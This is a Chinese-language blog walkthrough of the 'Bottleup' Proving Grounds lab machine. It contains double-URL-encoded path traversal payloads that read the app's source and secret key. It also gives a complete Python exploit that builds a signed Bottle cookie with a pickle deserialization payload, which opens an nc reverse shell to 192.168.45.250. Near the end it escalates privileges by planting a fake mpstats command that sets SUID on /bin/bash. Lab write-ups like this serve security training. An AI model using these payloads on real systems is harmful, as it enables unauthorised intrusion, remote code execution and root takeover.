Bottleup pg walkthrough Intermediate

一开始看到page=view/.html的时候就想到目录穿越了尝试../../../../../../../../../../../etc/passwd 发现不行

找半天其他可能存在漏洞的地方又找不到
卡壳了

看了看hints 他告诉我存在二次编码绕过
这点确实没想到

可以进行两次url编码再访问/proc/self/cmdline 看看该程序的路径是啥

然后

读取python代码
page=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fopt%252fbottle-blog%252fapp.py

读取到python源码
from bottle import route, run, static_file, template, request, response, error
from config.secret import secret
import os
import urllib
import re


@route("/") def home():
    session = request.get_cookie('name', secret=secret)
    if (not session):
        session = {"name": "guest"}
        response.set_cookie('name', session, secret=secret)
        return template('index', name=session['name']) @ route('/static/js/<filename>')

        def server_static(filename):
            return static_file(filename, root=os.getcwd() + '/views/js/') @ route('/static/css/<filename>')

        def server_static(filename):
            return static_file(filename, root=os.getcwd() + '/views/css/') @ route("/view", methods=['GET'])

        def home():
            try:  # Avoiding URL Encoding # Fix added after the report from our security team # Added by Developer bob
                page = urllib.parse.unquote(request.query_string.split("=")[1])
            except:
                page = ""
            if page == "": return template("error.html", error="Error! Page Parameter empty!")
            # Avoiding leaking code source or config
    elif page.startswith("app.py") or page.startswith("config"):
        return template("error.html", error="You can't view this page!")
        # Avoiding directory traversal if ('../' not in page) and ('./' not in page): # Inforcing URL Encoding # Added by Intern Max
    page = urllib.parse.unquote(page)
    p = "404"
    if os.path.isfile(os.getcwd() + '/' + page):
        with open(os.getcwd() + '/' + page, "r") as f:
            p = f.read()
    else:
        return template("error.html", error="Page not found!")

    return template("blog.html", read=p) @ error(404)

    def error404(error):
        return template('error.html', error='404 not found')

    if __name__ == '__main__': run(host='0.0.0.0', port=8080)

发现有个secret 读取secret
/view?page=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fopt%252fbottle-blog%252fconfig%252fsecret.py

改写代码让我们的cookie变成admin

image
image

但是问题又出现了估计是版本的问题我本地生成的cookie和wp生成的cookie是不一样的
这就造成了我实现不了admin的伪造 无奈只能copy wp的cookie了

然后又不知道咋整了
看wp

发现是存在bottle的漏洞 (太难了)

exp生成
import base64
import hashlib
import pickle
import hmac
import os

def tob(s):
    return s.encode('utf-8')

secret = "546546DSQ7711DSQDSQXWZ"

code = """
import os

os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.250 80 >/tmp/f')
"""

class RCE:
    def __reduce__(self):
        return exec, (code,)

data = RCE()

msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())
print(tob('!') + sig + tob('?') + msg)

将生成的cookie 写入就能反弹shell了 这块原理回头还得研究一下
弹回来shell了
image

查看pspy看定时任务发现

image

linpeas 发现我们具有可读可写的权限对于 这两个服务
image

查看该服务 发现原来定时任务是在这里开启的 60秒执行一次
image

运行文件我们会发现很有意思的东西
image
他会说这个命令不存在mpstats
这就以为这我们可以伪造命令了

cd ~;echo "chmod +s /bin/bash" > mpstats
等待定时任务执行

提权成功
image

只能说这次的靶机涉及的点都没想到学到了很多

posted @ 2024-11-19 10:54  WSssSW  阅读(3)  评论(0编辑  收藏  举报